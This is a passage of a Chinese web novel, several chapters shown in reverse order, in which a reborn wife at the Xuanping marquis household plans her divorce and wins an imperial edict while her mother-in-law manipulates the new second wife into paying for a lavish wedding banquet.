“你这次立下的功劳远比那赵氏女大得多,这道圣旨算是朕补偿给你的,除此之外,你可还有其他所求?” 陆知苒故作思考一番,这才开口,“此次之事并非臣妇一人之功,更离不开商行上下管事和小厮们的出力,若皇上当真要赏,那便将恩赏分发给他们吧。若能得皇上嘉奖,不论多少,于大家而言都是莫大鼓励。” 德丰帝再次意外了,“你就没有什么想为自己求的?” 陆知苒坦然摇头,“臣妇已经达成所愿,并无其他所求。” 德丰帝看她的眼神多了几分欣赏。 此女不居功,不自傲,进退有度,大方得体,的确不错,宣平侯府失了这么一位当家主母,只怕是一大损失。 陆知苒离开皇宫时,后背已经被冷汗打湿,但心头大石却已落地。 很快,她就要恢复自由身了。 回廊拐角处,萧晏辞抬眸,余光瞥见一道水蓝色的曼妙身影,脚步透着股春风袭人的轻松明快。 看来她所求已然达成了。 萧晏辞折身,往御书房而去。 德丰帝一见他,立马换上嫌弃神色。 “你怎么还没走?” 萧晏辞一副伤心的模样,“儿臣刚回来便想多在您身边尽尽孝,哪儿有像您这样赶人的?” 德丰帝不信他的鬼话,陪自己是假,打探消息才是真。 秉笔太监拟好圣旨,送到御前请皇上用印,萧晏辞十分不避讳地凑了上去。 他早已猜到这道圣旨的内容,却作出惊讶模样。 “没想到陆贯轩那老孬货竟然能生出这般果敢有魄力的女儿,这可真是歹竹出好笋啊。” 德丰帝:…… 真是狗嘴里吐不出象牙来。 “父皇,这道圣旨您交给儿臣,由儿臣去宣旨吧。” 萧晏辞十分熟练地把圣旨卷好往袖子里收,德丰帝都被他气笑了。 “朕可还没答应。” 萧晏辞大言不惭,“儿臣倒也不是想去看热闹,只是单纯地想为您分一分忧。儿子这般孝心,父皇怎会反对?” 德丰帝:…… “你瞧瞧他,真是越来越无法无天了,连朕的主都敢做!” 大太监冯有才躬身笑着道:“七殿下在皇上跟前素来率性,但行事却是进退有度,最是稳妥。” 冯有才在德丰帝身边伺候多年,简直是人精。 只要不牵涉到朝堂大事或是原则问题,七殿下这般插科打诨非但不会惹恼皇上,反而能让皇上心情愉悦。 这是皇家父子间弥足珍贵的亲情。 这个时候,他只管夸七殿下便是了。 更何况,正主还在这儿呢。 德丰帝从鼻子里发出一声重重地哼声。 嫌弃地摆手,“快滚,别在朕跟前碍眼。” 第13章 这辈子,定不负你! 姜氏说得分外真诚,却决口没提用份子钱还钱之事,赵书宁心中很是熨帖。 虽然侯府不似自己以为的富贵,这叫她心头失望,但夫君待她一片赤诚,婆母亦是通情达理,只除了小姑心性贪婪,但她终究会嫁出去,自己未来的日子只会越过越好。 当晚,楚翊安依旧留宿青黛阁。 赵书宁从身后主动拥住男人紧实宽阔的臂膀,沐浴后的馨香钻入他的鼻腔,但楚翊安心事重重,并无温存的心思。 赵书宁柔声开口,“翊安,我都知道了。侯府有困难,为何不与我说?反而到外头去向别人开口。” 楚翊安神情微顿,语气沉缓,“那是我们的喜宴,还要叫你出银子,这不合适。” 赵书宁鼻腔微酸,心中感动至极。 “银子不过身外之物,跟你的颜面相比又算得了什么?更何况,这也是我们两人的喜宴,我如何能袖手旁观?我已同母亲说了,这笔银子我来出。” 楚翊安转过身来,“书宁,我不能……” 赵书宁伸手抵在他的唇上,“为了我们的未来,付出再多我也愿意,只要你待我始终如一。” 楚翊安眼里的感动满得快要溢了出来,他深深地看着赵书宁,语气笃定而坚毅。 “我对天发誓,这辈子,定不负你!” 二人深情对视,很快便拥吻在了一处。 银子到位,姜氏立马张罗起来。 为了借此机会结交权贵,姜氏对这场宴会亦是十分上心,各处都力求尽善尽美。 翠芙和丹烟都小心翼翼,唯恐自家小姐因外头的热闹喧哗而心情不佳。 陆知苒的心境却十分平和。 明日她就要入宫面圣了。 凭借商行立下的功劳,她有八成把握求到和离圣旨。 退一万步讲,就算皇上不允,她靠自己,也要和离。 侯府要办喜宴的消息,像长了翅膀似的往外飞。 陆知苒关起门来盘账,两耳不闻窗外事,但外头的事她一件不落,知道得一清二楚。 因为楚云清为了刺激她,不辞辛苦地往玉笙居里传话。 赵书宁和楚翊安的故事迅速风靡京城,传为一段佳话。 而身为正妻的她却在这段故事中被丑化,俨然成了横插于二人之间的多余之人。 她只是个困局内宅的无知妇人,如何能配得上英勇无敌的大将军? 只有赵书宁那样救世的女神医,才是大将军的良配。 他们的喜宴时间就定在了十日后。 宣平侯府急切地想跟京中的勋贵交际起来,楚翊安也对自己悬而未决的差事十分担忧,故而时间定得很赶。 最有意思的是,这场喜宴的银子全是出自赵书宁。 翠芙和丹烟等人震惊之余,都狠狠地笑话赵书宁真乃蠢货。 陆知苒听了,却是笑不出来。 因为上辈子,她便是那没脑子的蠢货,在姜氏软硬兼施的游说下,竟掏银子替自己丈夫和别的女人办了这场喜宴。 这辈子,姜氏发现她不再那么好掌控,便调转目标,让赵书宁自己出了这笔银子。 上辈子在自己面前那般强势霸道的人,这辈子竟然也被姜氏玩弄于股掌之中,陆知苒只能感叹,论攻心,还是姜氏厉害。 姜氏自私自利,一毛不拔,赵书宁也并非什么善男信女,这对婆媳的矛盾迟早会彻底爆发。 到时候,楚翊安会站在姜氏这边,做个大孝子,还是会维护赵书宁,当个好丈夫?陆知苒不禁开始期待起来。 翌日,终于到了面圣之日。 陆知苒身着一袭水蓝色云雾烟罗衫,行走间钗环轻晃,却不发出一丝声音,步态端雅,不卑不亢。 被领到一处宫殿外,她挺直背脊,静静候着。 御书房中,萧晏辞大喇喇地坐着,很是随性。 敢在德丰帝面前如此不羁,大概就只有他一人了。 德丰帝一脸嫌弃,“朕要处理正事了,你哪儿凉快哪儿待着去。” 萧晏辞却依旧稳稳坐着不走,“那是儿臣的救命恩人,儿臣可得好好盯着,不然您欺负了人家怎么办?” 德丰帝老脸一抽,“你说的这是什么混账话,她是大齐国的大功臣,朕岂会亏待了她?” 萧晏辞十分大逆不道地揭老底,“这可说不准,毕竟,您前儿个才刚给人家夫君的平妻册封了五品诰命呢。可怜陆大小姐,眼巴巴地等了自家夫君三年,到头来却等来这么个结果。” 德丰帝:…… 他脸上有些挂不住,“你懂什么?楚翊安立下头功,朕当众承诺重赏,他便求了这道册封圣旨,朕若不允,岂不是自打嘴巴?” 萧晏辞立马调转火力,“楚翊安那竖子,自己要做那忘恩负义的陈世美,却拉父皇当这恶人,他竟是算计到您的头上来了,好生可恶!” 皇上怎么可能有错呢?就算错也是别人的错。 萧晏辞这话顺理成章地给德丰帝递了个台阶,他脸色一下沉了下来,对楚翊安的好感也削减了大半。 萧晏辞:“父皇,此次西平之战之所以能大获全胜,太仓商行功不可没。您可不能亏待了功臣,叫人寒心。” 德丰帝有些烦躁,原本他已拟定好嘉奖,但有了平妻封诰命之事,此时无论做何嘉奖都显得不尽如人意。 萧晏辞适时开口,“您不若也让她自己提,她提什么赏赐,您就给什么赏赐,如此也算是一视同仁。太仓商行能有如此义举,可见她并非短视狭隘之人,定然不会提出让父皇为难的要求。” 德丰帝斜睨了他一眼,“倒是难得你这般替一个人说好话。” 萧晏辞又是那副吊儿郎当的模样,“谁叫她是儿臣的救命恩人呢?儿臣不喜欢欠人。” 德丰帝挥手把人打发了,这回萧晏辞没有多废话,麻溜地起身走了。 在廊下候了两盏茶的时间,陆知苒被请入殿内。 眼角余光瞥到一抹明黄的衣角,陆知苒朝上首标标准准地行了一礼。 “臣妇陆氏拜见皇上。” 上首传来一道威严的声音,“平身。” 陆知苒站起身来,依旧眉目低垂,不敢直视龙颜。 她能感受到上首那道打量的目光,暗含威压。 德丰帝:“没想到,太仓商行的东家竟是一介小小女子,这着实有些出乎朕的预料。” 第12章 连一场酒席都办不起? 姜氏最后迟疑着开口,“实在不行,我去找陆氏,我向她低头,她总会给我几分脸面。” 楚翊安立时像是被踩了尾巴的猫儿似的,瞬间拔高了声音,“不行!绝对不行!” 此事若是传出去,他只怕要叫人笑掉大牙! 他在陆知苒面前也丢不起这个人! 姜氏一脸无奈地看着他,“这也不行,那也不行,母亲实在是没半点法子了。若不然,这酒席还是作罢了吧,总不能为了这些虚礼要把整个侯府的生计都贴进去。” 楚翊安听着母亲这番隐含胁迫之意的话,只觉得心里一阵阵疲累。 他初初凯旋之时,明明意气风发,大有一展宏图的雄心壮志。 不过短短数日,他就被一桩桩难缠的家务事磨得焦头烂额,一切的根源还是以往自己从不在乎的银子。 楚翊安烦透了,只想逃避。 但逃避解决不了问题,他不得不做出了妥协,“此事,我会与书宁商议。” 姜氏终于听到自己想要的回答,脸上露出由衷的笑。 “书宁是个懂事的孩子,你把个中利弊与她好好分说,她定会同意的。” 楚翊安随意敷衍了两句,逃也似的走了。 姜氏的心腹文嬷嬷开口,“夫人,这样会不会让大少爷难做?” 姜氏从鼻腔中发出一声重重哼声,“他是男人,男人在女人面前就应当说一不二,我这是在帮他。不然,他岂不是要被赵氏拿捏得死死的?” “更何况,出嫁从夫,赵氏既然进了我侯府的门,她的银子就是侯府的银子,安儿便是不开口她也应当主动交出来。若她不肯,那她也是个自私自利的玩意儿,安儿能早日看清她的真面目也是好事。” 文嬷嬷听了,也觉得在理,便不再多说什么。 然而,楚翊安却没有第一时间向赵书宁开口,而是去向军中同袍借银子去了。 姜氏得知此事,差点气得心梗,“他宁愿在外头丢人现眼,也不向那赵氏开口,他可真是把赵氏当宝贝!既然他不舍得,那就只能由我来当这恶人了。” 赵书宁从宫中回来,便被姜氏的人请到了永福堂。 姜氏揉着脑袋,一副病弱的模样,“书宁,你来给我瞧瞧,我这老毛病又犯了。” 赵书宁不疑有他,径直上前给姜氏诊脉施针,又配上一番手法,姜氏紧皱的眉头这才缓缓舒展。 到这会儿,姜氏心里的怒意已经平息。 赵书宁的确有几分本事,日后对侯府定能有所助益,此时万不能得罪了她。 姜氏拉着她的手,一脸欣慰,“幸亏有你,不然母亲这头疾怕是难治了。” 赵书宁道:“这些时日我都得到宫中给贵妃请脉,疏忽了母亲,是儿媳的错。往后儿媳便日日来给母亲施针按摩。” 这话说得漂亮,既抬高了自己,也表达了孝心,讨好了姜氏。 她即便不喜姜氏,但为了楚翊安,也愿意伏低做小讨好对方。 姜氏脸上立马绽出笑容,“好孩子,还是你有孝心。” 姜氏又露出几分忧愁,“我最近啊,一直都在安排筹办你和安儿的婚事,方方面面都要安排周全,万不能委屈了你。” 赵书宁听了这话,脸上的笑容便真诚了几分。 “让母亲操心了。” 姜氏拍着她的手,“一切都是为了你们好,便是操些心又有什么?只是……” 姜氏话说一半就打住,旋即摆摆手,“这些琐事就不拿来让你分心了,你只管好好在宫中当差便是。” 她的这番把戏,赵书宁岂会看不出来? 但这关涉到她的喜宴,是以明知姜氏故意留了话头引她追问,她也不得不乖乖配合。 “母亲可是遇到了什么为难之处?这也是儿媳自己的事,您只管说出来,儿媳定会帮您分忧。” 姜氏又是一番故作犹豫,这才开了口。 “说来不怕你笑话,侯府近些年经济并不宽裕,全靠庄子上的收益勉强支撑,母亲也想给你们补办一个风光的喜宴,但实在是有心无力……” 赵书宁一听这话,脸上神色就淡了下去。 “母亲莫要说笑了,侯府这偌大的家业,莫不是连一场酒席都办不起?” 姜氏语气幽幽,“三年前,安儿娶陆氏时拿出了丰厚的聘礼,俨然是把家底都掏空了。” 赵书宁的脸色顿时更加难看几分。 娶陆知苒时掏空了家底,到她的时候,就连一场像样的酒席也办不起? 这巨大的落差叫赵书宁心头阵阵发堵。 姜氏打了一棒子,又立马给了一颗甜枣,“你别多心,那陆氏与你不能比。你并非寻常内宅女子,是有大本事之人,安儿更是宁愿用军功为你换诰命之身,可见你在他心中的分量不一般。” 赵书宁原本难看的脸色这才舒缓,心中那股翻腾的醋意也被压了下去。 自己身有诰命,那陆氏岂能相比?她不过运气好,占了个先罢了。 “安儿说了,你是他最爱重的女子,要给你最大的尊荣和体面,所以想风光大办一场,至少不能办得比当初陆氏的差。银子之事他也坚决不向你开口,而是舍了脸面去寻了军中同袍。” 赵书宁再次怔住,心口似被什么填得满满的,眼眶也阵阵潮热。 姜氏将她的情绪变化尽收眼底,便知此事已十拿九稳。 “安儿是大男人,他不好对你张口提银子,母亲今日便舍下脸面开这个口。你放心,母亲自是不会贪墨你的银子,这笔银子只当借你的。但你若实在不愿意,母亲也不会勉强,大不了母亲再想其他法子便是……” 姜氏一番以退为进,又用楚翊安打感情牌,赵书宁不知不觉便进了她的套,心底那一丝不情愿也彻底没了。 “母亲说的什么话?我们都是一家人,不过一点银子的事,我自然是愿意的。” 姜氏闻言,眉眼一下舒展开了。 “好孩子,你果然识大体。你放心,你拿了多少银子,母亲都会记下来,日后侯府的银钱宽裕了定然第一时间还你。” 第11章 传出去像什么话? 陆知苒不在意地笑了笑,“现在认清她的真面目也不迟,且看着吧,以后她们姑嫂有得闹的。” 说完她便埋头继续打算盘。 这侯府上下是什么样的人,她再清楚不过。 他们把她当成予取予求的冤大头,她要离开,他们如何会答应?到时候,她要拿走自己的钱财只怕不易。 再有便是陆家那边,也会是一大阻力。 即便她顺利求到了和离圣旨,父亲明面上不敢违抗,实际上也定不会善待她。 各方各面,她都得早做谋划。 事情千头万绪,她没有时间伤怀。 “奶娘,你让福贵帮我跑一趟,给谭叔传个信,我有要事要谭叔去办。” 福贵是金嬷嬷的儿子,现在在侯府外院当差。 谭旭文也是她手底下得力的老人,主要负责打理京城的铺子。 当年她做的唯一正确决定就是对侯府隐瞒了自己真正的财力,侯府并不知道她名下究竟有多少产业。 而她明面上的陪嫁铺子,其中五家生意最好的铺子,都被姜氏以各种理由安插了新的管事和人手,她自己原本的人反而被排挤和冷落。 她知道,那些人手脚都不干净。 她要让谭旭文着手调查,寻到他们的把柄,顺理成章地把人料理了,以免姜氏得知她要和离,再指使这些人给她找麻烦。 金嬷嬷立马应声去办了。 那头,楚翊安被姜氏唤去了永福居。 “母亲,您唤儿子来,可是有何事?” 姜氏直入正题,“我听清儿说,你与书宁打算再办一场喜宴。” 提到赵书宁,楚翊安的脸色笼上一抹温柔。 他点头,“是,儿子的确有此打算。她是平妻,又身有诰命,儿子该给她应有的体面。” 此事也是昨日刚做的决定,他还没来得及与母亲提起。 姜氏心底闪过一抹嫌恶,面上却半分不显。 “你考虑得没错,只是……你也知道,侯府外表看着光鲜,但实际上已是十分艰难,这个时候实在拿不出那般多银钱来大办喜宴。” 楚翊安沉默。 他何尝不知这一点?但这是赵书宁提的要求,他自觉对她亏欠,实在无法拒绝。 姜氏长长叹息,“要不就算了……” 楚翊安沉声开口,“她在西平之时助我良多,我不可负她。” 姜氏脱口,“你已为她请封了诰命,此等殊荣世间几个女子能有?如何算是负了她?” 姜氏而今想来依旧觉得心口发堵。 他明明可以用军功为侯府延续爵位,却用在了这女人身上! 再不济,他也可以为自己这个亲娘请封诰命啊! 定是那狐狸精迷了他的心智。 楚翊安蹙眉,“那不一样,她现在所求,不过是任何一个女子都希望得到的。若是没了喜宴,她平妻的身份就不够名正言顺,以后她在府里也不够有威望。” 他越是对赵书宁百般维护,姜氏心里就越恼恨,脸色也难看几分。 楚翊安似是看出姜氏的不快,又补充道:“母亲,此次喜宴也不全是为了她。以后儿子要在京城当差,就少不得与京城各家来往,我们侯府不能再如以往那般沉寂下去,该适当高调起来了。这次便是一次极佳的机会,这也是儿子答应补办喜宴的原因之一。” 这个理由总算是让姜氏面色和缓几分。 想到什么,楚翊安又开口,“这两日书宁已经入宫当差,她在为李贵妃诊脉。以她的实力,定能治好李贵妃的旧疾。母亲,书宁不是寻常内宅女子,她能为侯府带来助益。” 姜氏闻言立马坐直了几分,“当真?” 楚翊安带着与有荣焉的骄傲,“自然,书宁若没有好医术,当初如何救得了西平万千将士和百姓?” 姜氏眼珠子微微一转,旋即脸上便绽出笑来。 “我便知道,她是个有能力的,娶了她进门,咱们侯府也要跟着光耀了。” 若能趁机搭上李家,清儿也能有一个更好的婚事。 思及此,姜氏对赵书宁便也顺眼几分。 但该哭穷还是要哭穷。 “照你这么说,这喜宴要办还不能草率了,得风风光光的大办才行。可侯府的境遇,实在是没法子。” 问题一下又绕了回来,归根结底,不过一个钱字。 楚翊安抿了抿唇,“我与书宁商议过,侯府不需要走聘礼那些虚的,只需要在仪式和宴席上办得好一些便是。我们侯府总有些产业,卖掉一些,定能凑出银子来。” 姜氏断然反对,“这怎么能行?那些产业卖了,侯府今后的开支怎么办?” 楚翊安还想再说些什么,姜氏就直接堵住了他的话头,“侯府的产业是根基,不到山穷水尽的时候,断然不能卖了。不然,赵氏反倒成了祸家之源。” 楚翊安一时也说不出话来。 姜氏试探地开口,“书宁自己手里还有不少好东西,她若是愿意……” 楚翊安的眉头狠狠一跳,“我与她成婚,岂能叫她出银子?这传出去像什么话?” 姜氏自有自己的一套逻辑,“母亲并非贪图她的银子,母亲只是觉得,我们现在已经是一家人,现在侯府只是暂时遇到了困难,大家自然应该有钱出钱,有力出力,齐心协力渡过难关。更何况,这本身也是她的喜宴,总不能看我们为难她自己却袖手旁观。” 姜氏一番话说得头头是道,乍一听好似十分有道理,但实际上却是偷换概念,强词夺理。 楚翊安的眉头蹙得紧紧的。 “母亲,此事不妥……” 姜氏叹息,“母亲自然知道不妥,但除此之外你可还有其他法子?我们侯府也不占她的便宜,就当借她的,待酒席过后,咱们侯府收了份子钱立马还她便是。” 楚翊安还是不同意。 经过上回头面之事,他对银钱比以前更加警惕,决不把希望寄托在尚未发生的不确定上。 现在计划得好好的,谁知到时候份子钱会不会又有了旁的用处?若自己失信于书宁,如何在她面前抬起头来? 第10章 补办喜宴 陆知苒对外面的传闻充耳不闻,她命人把各处产业的账册都收了上来,需要重新梳理一番,没时间花费在那些无关紧要之事上。 她安安静静地在玉笙居待着,傍晚时分,却有不速之客登了门。 楚云清穿着一身袭湖碧的软银轻罗百合裙,脚上穿一双乳烟缎攒珠绣鞋,头上赫然待着那副金丝八宝攒珠头面,衬得整个人珠光宝气又不落俗套,反而有种流光溢彩,繁花似锦的美。 如意阁的手艺果然不凡。 楚云清如同一只开屏的孔雀,得意洋洋地在陆知苒面前转了好几圈。 “有些人自私小气,连一副头面都舍不得送给我,好在我有了个大方的新嫂嫂,她不仅把那副头面送给了我,还给我置办就好几身漂亮的衣裳鞋袜,都是时下最流行的款!” 陆知苒由衷笑了,“恭喜你,有这么一位出手大方的新嫂子,真是你的福气。” 又看向一旁脸色算不上愉快的赵书宁,笑得更加真诚了几分,“也恭喜你,有这么一位会花钱的小姑子,也真是你的福气。” 赵书宁的面容微微抽搐。 “你不必这般阴阳怪气,我不似你,把银子看得那般重。银子只是身外之物,人与人之间的情分才是真正弥足珍贵,无法替代的。” 她说得很是用力,像是在说服自己。 楚云清骄傲地附和,“对啊,你休要挑拨我和书宁嫂嫂的关系!我们亲如姐妹,书宁嫂嫂才愿意在我身上花银子。” 陆知苒语气真诚,“那可太好了,你们一个愿意出银子,一个愿意花银子,真是天下一等一的好姑嫂。以后,你都不用担心你的银子无处花了。” 赵书宁:…… 她深吸了一口气,才压下翻涌的情绪。 “你一定不知道,你现在的嘴脸有多尖酸丑陋。翊安最讨厌的便是你这般满心阴谋算计的女子,你妄图用这样的手段拿捏他,逼他低头,那你便大错特错了。” 陆知苒四两拨千斤地反击,“你才应该好好照照镜子,看看你此时脸上究竟有多么口是心非。” 赵书宁:“翊安说你牙尖嘴利,如市井泼妇一般尖酸刻薄,果然不假。” 陆知苒轻轻一笑,“你不必句句不离楚翊安,他如何评价我,我并不在乎,也伤不到我半分。反倒是你,这般在意他对我的评价,莫非你心底对自己依旧不自信,生怕他会对我回头?” 她一身家常装扮,明明素净寡淡,但只轻轻一笑,眉眼便瞬间活了起来,美得极具攻击性。 赵书宁脸色微变,她极快地否认,“凭你?你也配?” 楚云清也跟着附和,“我兄长根本不喜欢你,你可别往自己的脸上贴金了!我兄长真正在乎的人是书宁嫂嫂,不然也不会用军功为她请封诰命。” 赵书宁的脸色和缓,浑身的紧绷也放松下去。 她乃五品诰命,这是陆知苒永远也没法比的。 陆知苒:“我想要什么,会自己去挣,不需要依靠男人。” 赵书宁直接笑出声,眼底的轻蔑不加掩饰。 “你看过外面的天地吗?你知道外面的风景是何模样吗?你的目光离开过内宅的一亩三分地吗?真是不知所谓。” 她边说边摇头,似是对自己的嘲讽,“我曾经竟然把你当成强劲的对手,现在想想,真是高估你了。” 面对她的讥讽,陆知苒毫无波澜,只是问,“你了解我吗?” 她姿态高傲,语气傲慢,高高在上地俯视着陆知苒。 “像你这样肤浅的女子,所思所想不过如此,一眼就能看穿。” 陆知苒听了她这话,再次笑了,笑容里充满了深深的自嘲。 上辈子的她,既恨赵书宁,也钦佩和羡慕她。 因为她没有被困居内宅,她能在外面广阔的天地翱翔,不管她的人品如何,她都有着比一般女子更加高的眼界和见识。 但现在,陆知苒才发现,她的敌人并没有自己所以为的那么强大。 她一边标榜自己与内宅女子不同,可实际上,她看人的目光却是偏激又狭隘,骨子里更有种自以为是的傲慢。 她甚至连自己瞧不起的内宅女子都不如。 自己前世就是输给这样一个人? 赵书宁不知道她在笑什么,只觉得她笑得分外刺眼。 “过些时日,我和翊安会重新补办一场喜宴,到时候,还希望你能回避一二,免得彼此脸上都不好看。” 这是她答应出那八千两的条件。 她不仅要楚翊安的宠爱,更要世俗的承认。 她不是见不得光的小妾,她是平妻,还是身有诰命的平妻,陆知苒唯一的优势就是比自己先入门而已。 她要一个风光的喜宴,向世人宣告她在楚翊安心中的地位,彻底把陆知苒比下去。 赵书宁看着陆知苒,想要在她的脸上看到大受打击的神色,但却没有,她的反应十分平淡,就好似自己方才只是说了一句无关紧要之事。 陆知苒有什么可惊讶的呢?这都是前世发生过的事,早就不新鲜了。 “那我先道一句恭喜了。” 赵书宁语气笃定,“我知道你在强颜欢笑。” 她有一种自说自话的本事,无论旁人做什么,说什么,她似乎都只相信自己认为的事实。 陆知苒不再与她争辩,从善如流地点头,“没错,我的确是在强颜欢笑。请问你们还有什么事吗?” 她的态度让赵书宁没有得到预想中的快意,反而似堵了一团棉花那般憋屈。 她不再多言,转身离开。 楚云清剜了陆知苒一眼,然后屁颠颠地跟了上去,一边走一边道:“书宁嫂嫂,那日皇上赏赐的那个玉镯子好漂亮,跟我这一套头面甚是搭配,你送给我好不好?待你与大哥成亲那日我戴出来,大家定然夸赞嫂嫂你贤惠大方。” 赵书宁:…… 陆知苒听笑了。 她只能说,祝福她们,希望这对姑嫂彻底锁死,千万不要再来祸害自己。 目送她们离开,翠芙和丹烟都气红了眼。 “大小姐太过分了,以前您对她多好啊,现在她却在那位面前百般讨好。” “对啊,她真是白眼狼!” 第9章 不会吝惜这区区八千两 楚云清也气愤地大骂,“她那般自私自利,眼睁睁地看着侯府声名被毁!就不该给她脸!” 楚翊安对楚云清也是满肚子火,“自私的人是你,侯府的声名就算被毁了,也是你的功劳!” 被这般责难,楚云清又气哭了,“你竟然偏帮一个外人!她明明那么有钱,却连八千两都不肯给我!她不是自私自利是什么?” 楚翊安觉得她不可理喻,半句话都不想多说。 眼见他也要甩袖而去,姜氏连忙把人喊住。 “现在不是赌气的时候,此事要如何解决,总要拿出个章程来。” 楚翊安面容冷冽,从齿缝挤出几个字,“我去凑!” 姜氏哪里舍得让自己儿子千辛万苦凑银子?她略带踟蹰地开口,“我倒是有一个解决之法。” 楚云清什么都顾不上,立马催促,“娘,您有什么法子就快说吧!” 姜氏缓缓开口,“书宁昨日刚得了皇上的厚赏……” 她才刚开了个头,楚翊安就变了脸色。 “不行,那是书宁自己的东西!” 楚云清的心思却是一下活络起来,她理直气壮地道:“她是我的新嫂嫂,给我送个见面礼不是应该的吗?况且她那日得的赏赐那么多,也不差这点银子。” 看着妹妹这贪婪的嘴脸,楚翊安只觉心生嫌恶。 “她有多少银子是她的事,还轮不到你来安排分配!” 自己儿子对那女人这般袒护,姜氏的眼底闪过一抹阴郁。 来路不明的孤女,连陆氏都不如,若非她侥幸得了皇上青眼,姜氏断然不会让她入门! 姜氏语气沉缓,“安儿,你妹妹没错,她新入门,的确该给小姑子备上一份礼。当初陆氏可比她懂事多了,过年过节从未落下过礼物,即便是对府中下人她亦是一视同仁。” 楚翊安语气不屑,“不过是邀买人心的手段罢了,书宁不需要!” 他的书宁是世间最好的女子,根本不需要那些世俗的手段来装点门面,时日久了,大家自然知道她待人是何等真诚。 姜氏知他此时完全被迷了心智,缓了缓语气。 “你还是太天真了。她是后来者,却越过陆氏得了五品诰命,府中上下人人都把眼睛落在她身上,明里暗里也都在把她和陆氏做比较。” “这个时候她若不有所作为,就会被人比下去,觉得她徒有其名,远不及陆氏。你既如此爱重她,就该好生为她筹谋打算,日后你若想抬举她,这些平日积攒的好名声就能成为她最大的助益。” 明明是要让赵书宁掏银子,话到了姜氏的嘴里就全变成了为她着想。 楚翊安被说得一愣一愣的,他觉得母亲在强词夺理,但一时之间却又找不出哪里不对。 姜氏看着他的神色,又添了一把火,“这几日我与书宁相处,也深知她性情和顺,心地善良,是个好孩子,她与清儿亦是十分投缘。唯一不足,便是人情世故上稍有欠缺罢了。你将我的话告知于她,她那般通透,定然一点就通,不会吝惜这区区八千两。” 他现在觉得赵书宁哪哪儿都好,那姜氏就顺着他说,不能为了个女人让他们母子情生分了去。 把高帽子给赵书宁戴上去,届时,这笔银子她便是不想掏也得掏。 楚翊安听了这话,心中果然舒坦了几分,但他依旧没松口答应。 毕竟八千两银子不是小数目,他不能随意替赵书宁做主。 姜氏长长叹息一声,“这次是你妹妹闯了祸,但也让我看清了陆氏的为人,她也是个不吃亏的主儿,只怕以往在我面前的乖顺姿态都是装出来的。” “我把她当亲女儿一般看待,她却完全不顾我们侯府的难处,直接置之不理了,也实在叫我寒心。只怕她现在就等着你去向她低头呢。” 姜氏这话直击要害,楚翊安的怒气立马被挑起,冷声道:“我不可能去求她,她爱端着,那就一直端着吧,我倒要看看她能撑到什么时候!” 姜氏要的就是这态度。 陆知苒今日狠狠下了他们的脸面,那就要做好被冷落的准备。 她可是要在侯府生活一辈子的,没有男人的宠爱,看她往后余生如何过下去! “陆氏便是仗着自己手里有银子,才敢这般拿乔,若书宁那孩子识大体,愿意拿出八千两银子救急,咱们便不用一直看陆氏的脸色了。” 这招以退为进让楚翊安的态度有了松动,但让他对赵书宁开这个口,他依旧觉得难以启齿。 姜氏:“你若是不好开口,便把她唤来,我与她说。” 楚翊安立马拒绝,“不必,还是儿子亲自去与她说。” 书宁初来侯府,若让母亲来说,只怕她会多想,以为母亲是在对她施压。 他不想他们婆媳之间生出嫌隙,更不想让她心中生出不快。 楚云清讨好地道:“书宁嫂嫂最是善解人意,她定会答应的。” 楚翊安冷冷扫了楚云清一眼,直接走了。 楚云清的讨好没得到回应,还狠狠落在了地上,她顿时恼怒得狠狠跺脚。 “娘,您瞧哥哥对我的态度,对外人都比对我好!” 姜氏伸手戳了一记她的脑门,“你还好意思说,这次你闯了多大的祸,差点没法收场!” 楚云清满脸愤愤,“还不都怪陆知苒,以前她明明不是这样的,谁知道她这次完全不给我脸面!娘,您一定要为我做主!” 姜氏眼底闪过一抹阴鸷,语气冷若寒霜,“只要她在这侯府一日,就休想逃出我的手掌心。” 当晚,楚翊安留宿在赵书宁的青黛阁。 翌日,陆知苒听说,赵书宁和楚云清二人亲亲热热地出门逛街去了,二人去了如意阁,赵书宁出手大方,当众给楚云清结了那副头面的尾款,算是她入门给小姑子送的第一份礼。 从如意阁离开,二人又去了成衣铺和胭脂铺,楚云清痛快地采买了一番,全都是赵书宁掏银子,楚云清嘴巴抹了蜜似的,不遗余力地捧着赵书宁。 近日,赵书宁可谓是热门人物,茶楼酒馆中不少说书先生都以她为蓝本编了不少故事,她俨然成了救万民于水火的女英雄,她和楚翊安爱情更是其中感人肺腑的一笔。 而今姑嫂二人在外头逛一圈,短短半日功夫,外头的传言就沸腾起来了。 宣平侯府两位夫人的处境和地位如何,高下立判。 第8章 你要这么想,我也没办法 楚云清觉得自己被狠狠落了面子,也梗着脖子坚持。 “你明明说了要送给我,你耍赖!” 陆知苒目光定定地看着她,“当日我们在如意阁挑选首饰时,九公主刚好在我们隔壁。此事实情如何,可以请她来作证。只是不知妹妹敢不敢?” 楚云清梗着的脖子一僵,眼底亦闪过一抹慌乱。 九公主是德丰帝的幼女,甚是受宠,性子很是娇蛮跋扈,目中无人,说话更是从不会给人留半分情面。 当日她们的确碰到了九公主,只是这位公主眼高于顶,并未搭理她们。 陆知苒咄咄逼人,“怎么,不敢了?” “我,我……” 楚云清脸色涨得通红,支支吾吾说不上话来。 此番反应已然说明了真相。 楚翊安只觉得自己的脸被狠狠扇了几个耳光,火辣辣的。 “你竟是在信口开河?你,你……” 他气得说不出话来。 既对这个妹妹失望,更恼怒她带累自己在陆知苒面前丢脸! 姜氏第一时间为楚云清开脱,“清儿素来都是乖孩子,她定是被身边人教唆,才会一时犯了糊涂。” 楚云清委屈地痛哭出声,“嫂嫂以前对我素来大方,我要什么就会给我买什么,我那日就看上了那副头面,谁知她死活不愿意给我买……她若给我买了,我又何至于此?” 话里话外,竟全都成了陆知苒的错。 陆知苒的心底升起一股深深的凉意。 升米恩,斗米仇,果然如此。 她们的胃口,便是被她一点点养大的。 她们把她的付出当成理所当然,某一天她不再供养,对方就会认为她该死。 陆知苒冷冷道:“那你可知,那日是我母亲的忌日?你一面要仰仗我给你付银子,一面又与人在背后议论我母亲是低贱的商户女,我又何必再上赶着把银子给你花?” 没曾想她竟是听到了那番话,楚云清的脸色青白交错,甚是精彩。 她想否认,但对上陆知苒那锐利如刀的目光,她就心虚得说不出辩解的话来。 楚翊安脸色复杂地看着陆知苒,原来事情真相竟是如此。 姜氏在楚云清的肩上狠狠一拍,一副恼怒至极的模样。 “你个蠢货,到底是谁教唆你说的这些混账话?还不快给你嫂嫂好生道歉!” 楚云清脸色青白交错,嘴巴蠕动,怎么都开不了口。 陆知苒语气嘲讽,“并非发自内心的道歉,我并不需要,妹妹不必如此勉强自己。” 